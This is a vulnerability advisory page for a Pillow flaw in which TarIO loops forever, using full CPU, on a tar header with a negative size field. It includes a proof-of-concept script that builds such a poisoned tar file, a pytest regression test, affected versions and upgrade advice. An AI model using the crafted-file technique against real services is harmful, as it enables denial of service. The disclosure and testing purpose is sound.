CVE-2026-96642: Pillow: TarIO negative size field causes infinite CPU-spin loop

Published Oct 21, 2026
·
Updated

Summary TarIO.init does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

Details TarIO.init reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

python size = int(s[124:135], 8) ... self.fh.seek((size + 511) & (~511), io.SEEKCUR) There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

python from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f: data = bytearray(f.read())

Set the size field (bytes 124 to 135) to a negative octal value. Octal 1000 is 512, so this is size = -512. data[124:135] = b" -00001000"

with open("poisoned.tar", "wb") as f: f.write(data)

"does-not-exist" does not match the header name, so TarIO must keep scanning. This call never returns. TarIO.TarIO("poisoned.tar", "does-not-exist")

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

python from future import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCETAR = "Tests/images/hopper.tar"

@pytest.mark.timeout(3) def testnegativesizefielddoesnothang(tmppath: Path) -> None: with open(SOURCETAR, "rb") as f: data = bytearray(f.read())

data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated

poisonedtar = tmppath / "poisoned.tar" poisonedtar.writebytes(data)

with pytest.raises((OSError, ValueError)): with TarIO.TarIO(str(poisonedtar), "does-not-exist"): pass Impact

- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes. - Confidentiality: none. - Integrity: none. - TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, membername) directly for this to matter, which some apps do to read an image out of a tar archive.

Other sources

Pillow is a Python imaging library. Prior to 13.0.0, the TarIO initializer in src/PIL/TarIO.py accepts a negative octal member size and computes a backward seek that returns to the same 512-byte header. When the requested member name does not match, the parser repeatedly reads that header, consumes a full CPU core, and never returns. TarIO is reached only when an application directly uses PIL.TarIO.TarIO rather than the default Image.open() path. This issue is fixed in version 13.0.0.

— MITRE

Affected Software

20 affected componentsFixes available
pypi/Pillow<13.0.0
pip/pillow<13.0.0
13.0.0
bitnami/pillow<13.0.0
13.0.0
pip/pillow<13.0.0
13.0.0
Python Pillow<13.0.0
debian/pillow*
debian/pillow*
debian/pillow*
debian/pillow<=9.4.0-1.1+deb12u1, <=11.1.0-5+deb13u4, <=11.1.0-5+deb13u3, <=12.3.0-1
13.0.0-1
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow-python2*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
ubuntu/pillow*
IBM App Connect Operator<=CD: 12.1.0 - 12.21.0 12.0 LTS: 12.0.0 - 12.0.28 13 LTS: 13.0.0 - 13.6.0
IBM App Connect EnterpriseCertified Containers Operands<=CD: 12.0.11.1-r1 - 12.0.12.5-r1, 13.0.1.0-r1 - 13.0.6.2-r1 12.0 LTS: 12.0.12-r1 - 12.0.12-r28 13 LTS: 13.0.7.0-r1 - 13.0.9.0-r1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  2. Upgrade

    Upgrade bitnami/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  3. Upgrade

    Upgrade pip/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  4. Upgrade

    Upgrade debian/pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0-1
  5. Upgrade

    Upgrade Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0

Event History

Oct 21, 2026
CVE Published
via MITRE·08:49 PM
Data Sourced
via MITRE·08:49 PM
DescriptionWeakness
Data Sourced
via OSV·08:49 PM
DescriptionSeverityWeakness
Advisory Published
via OSV·09:20 PM
Data Sourced
via NVD·09:20 PM
RemedyDescriptionSeverityWeaknessAffected Software
Oct 22, 2026
Advisory Published
via GitHub·04:01 PM
Data Sourced
via GitHub·04:01 PM
DescriptionWeaknessAffected Software
Nov 9, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Nov 12, 2026
Data Sourced
via OSV·11:49 PM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which applications are exposed to this denial-of-service issue?

Only applications that directly instantiate PIL.TarIO.TarIO are affected. The default Image.open() path does not reach the vulnerable TarIO code.

2

What must an attacker provide to trigger the CPU-spin loop?

The attacker needs a TAR input with a negative octal member-size field and must cause TarIO to look for a member name that does not match the repeated header. Under those conditions, the parser repeatedly rereads the same 512-byte header and does not return.

3

Which Pillow versions need remediation?

Pillow versions before 13.0.0 are affected. Upgrade to version 13.0.0 to obtain the fix.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203